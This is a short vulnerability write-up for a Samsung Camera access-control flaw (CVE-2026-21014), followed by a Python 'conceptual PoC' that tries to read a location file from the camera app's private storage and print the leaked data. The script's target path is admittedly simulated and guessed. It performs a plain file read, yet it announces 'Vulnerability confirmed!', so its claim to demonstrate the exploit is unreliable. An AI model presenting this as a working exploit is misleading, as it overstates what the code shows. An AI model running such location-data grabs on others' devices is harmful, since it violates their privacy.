Improper access control in Samsung Camera prior to version 16.5.00.28 allows local attacker to access location data. User interaction is required for triggering this vulnerability.
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-21014
# This script demonstrates the logic to access location data due to improper access control.
import os
import sys
def check_vulnerability():
# Simulating the path to the location data storage in Samsung Camera
# In a real scenario, this path might be /data/data/com.sec.android.app.camera/files/
target_path = "/data/data/com.sec.android.app.camera/shared_prefs/location.xml"
print("[*] Checking for improper access control in Samsung Camera...")
# Check if current user can read the sensitive file without proper permissions
if os.path.exists(target_path):
try:
with open(target_path, 'r') as f:
data = f.read()
print("[+] Vulnerability confirmed! Location data leaked:")
print(data)
return True
except PermissionError:
print("[-] Permission denied. Access control might be working or higher privileges needed.")
return False
else:
print("[-] Target file not found. Device may not be vulnerable or path is different.")
return False
if __name__ == "__main__":
# Note: Actual exploitation requires running on the target Android device
check_vulnerability()